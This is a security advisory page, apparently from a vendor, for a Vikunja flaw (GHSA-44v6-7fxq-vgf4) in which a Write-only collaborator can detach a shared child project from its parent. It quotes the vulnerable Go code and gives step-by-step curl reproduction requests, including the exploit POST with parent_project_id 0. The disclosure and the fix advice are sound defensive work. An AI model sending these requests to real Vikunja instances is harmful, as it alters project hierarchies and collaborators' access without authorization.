GHSA-44v6-7fxq-vgf4
MEDIUMGHSA-44v6-7fxq-vgf4 is a medium-severity (CVSS 4.3) CWE-862 vulnerability in code.vikunja.io/api. O3 Security confirms whether GHSA-44v6-7fxq-vgf4 is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.
Vikunja has an incomplete fix for CVE-2026-35595: Write-only user can detach shared project from parent hierarchy via parent_project_id=0
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
Exploitation and automatability from CISA’s SSVC triage for GHSA-44v6-7fxq-vgf4.
Real-World Exposure
code.vikunja.io/apiReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.
Description
Summary
The fix for CVE-2026-35595 (project re-parenting privilege escalation) only gates reparent operations when parent_project_id > 0. A user with Write (but not Admin) permission on a shared child project can detach it from its parent by sending parent_project_id: 0, bypassing the Admin requirement. This severs the recursive CTE permission inheritance chain, potentially disrupting the project hierarchy and affecting inherited access for other collaborators.
Affected component
- Package: go-vikunja/vikunja
- Affected versions: v2.3.0 and later (including latest unstable v2.3.0-246-9852aff4). The fix for CVE-2026-35595 was introduced in v2.3.0 but left the detach-to-root case unpatched. Fixed in 2.4.0.
- Tested on: Vikunja v2.3.0 (Docker image vikunja/vikunja:2.3.0) AND latest unstable (vikunja/vikunja:unstable, v2.3.0-246-9852aff4 built 2026-04-27)
Technical detail
Vulnerable code
File: pkg/models/project.go (lines 1009-1041)
// GHSA-2vq4-854f-5c72 / CVE-2026-35595: the recursive permission CTE
// cascades Admin from any owned ancestor, so moving a shared child
// under an attacker-owned root grants Admin on the child. Require
// Admin on both sides of a reparent.
//
// Only gate on non-zero ParentProjectID: the generic update handler
// binds a fresh struct, so an omitted parent_project_id is
// indistinguishable from an explicit 0. Detach-to-root is therefore
// out of scope here -- a proper fix needs a pointer field.
if project.ParentProjectID > 0 {
// ... Admin check (lines 1019-1041) -- SKIPPED when ParentProjectID == 0
}
File: pkg/models/project_permissions.go (line 145)
if p.ParentProjectID != 0 && p.ParentProjectID != ol.ParentProjectID {
// reparent permission check -- SKIPPED when ParentProjectID == 0
}
File: pkg/models/project.go (line 1065)
colsToUpdate := []string{
"title", "is_archived", "identifier", "hex_color",
"parent_project_id", // <-- ALWAYS included, writes 0 to DB
"position",
}
Why it's exploitable
- The generic web handler (
pkg/web/handler/update.go:37) creates a fresh emptyProject{}struct --ParentProjectIDdefaults to Go's zero value (0). - When JSON body contains
"parent_project_id": 0, the struct hasParentProjectID == 0. CanUpdateat line 145:ParentProjectID != 0is false -- reparent check skipped -- falls through toCanWritewhich succeeds (attacker has Write).UpdateProjectat line 1018:ParentProjectID > 0is false -- Admin gate skipped entirely.- xorm writes
parent_project_id = 0because"parent_project_id"is always incolsToUpdatewithCols(). - The project is detached from its parent hierarchy.
Precondition checklist
- Attacker has authenticated account
- Attacker has Write permission on a child project (via direct share or team membership)
- The target project has a non-zero parent_project_id (it's a child of another project)
- Default Vikunja configuration (no special setup needed)
Reproduction
Prerequisites: Two users (victim = project owner, attacker = Write-only collaborator), a parent project, and a child project shared with the attacker at Write permission.
- Authenticate as attacker:
TOKEN=$(curl -s -X POST http://localhost:3456/api/v1/login \
-H 'Content-Type: application/json' \
-d '{"username":"user_a","password":"UserAPassword1!"}' | jq -r '.token')
- Verify attacker does NOT have Admin (delete should return 403):
curl -s -o /dev/null -w '%{http_code}' -X DELETE http://localhost:3456/api/v1/projects/4 \
-H "Authorization: Bearer $TOKEN"
# Expected: 403
- Exploit -- detach project from parent:
curl -s -X POST http://localhost:3456/api/v1/projects/4 \
-H "Authorization: Bearer $TOKEN" \
-H 'Content-Type: application/json' \
-d '{"title":"Sensitive Child Project","parent_project_id":0}'
- Verify detachment:
curl -s http://localhost:3456/api/v1/projects/4 \
-H "Authorization: Bearer $TOKEN" | jq '.parent_project_id'
# Returns: 0 (was: 3)
Evidence (3 independent runs)
| Run | parent_project_id BEFORE | DELETE attempt (proves no Admin) | parent_project_id AFTER | Result |
|---|---|---|---|---|
| 1 | 3 (child of project 3) | HTTP 403 Forbidden | null (detached to root) | CONFIRMED |
| 2 | 3 (child of project 3) | HTTP 403 Forbidden | null (detached to root) | CONFIRMED |
| 3 | 3 (child of project 3) | HTTP 403 Forbidden | null (detached to root) | CONFIRMED |
Note: "null (detached to root)" means parent_project_id was set to 0 in the database, making the project a root-level project with no parent.
Impact
- Unauthorized hierarchy modification: A user with only Write permission can detach a child project from its parent, which should require Admin permission (as established by the CVE-2026-35595 fix for non-zero reparents).
- Permission inheritance disruption: The recursive CTE permission model traverses
parent_project_idupward. Detaching a project severs this chain, potentially causing other collaborators who inherited access through the parent to lose their permissions on the detached project. - Organizational disruption: The project moves from a structured hierarchy to a root-level project, breaking the owner's intended organizational structure.
Suggested fix
Use a pointer field *int64 for ParentProjectID to distinguish between "field omitted" (nil) and "explicitly set to 0" (detach). The fix commit itself acknowledges this at project.go:1017: "a proper fix needs a pointer field."
Alternatively, add a dedicated detach boolean field or a separate API endpoint for detaching projects, with its own Admin permission check.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐹Go | code.vikunja.io/api | ≥ 2.3.0&&< 2.4.0 | 2.4.0 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for code.vikunja.io/api. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update code.vikunja.io/api to 2.4.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-44v6-7fxq-vgf4 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-44v6-7fxq-vgf4 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-44v6-7fxq-vgf4. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-44v6-7fxq-vgf4 in your dependencies?
O3 detects GHSA-44v6-7fxq-vgf4 across Go dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.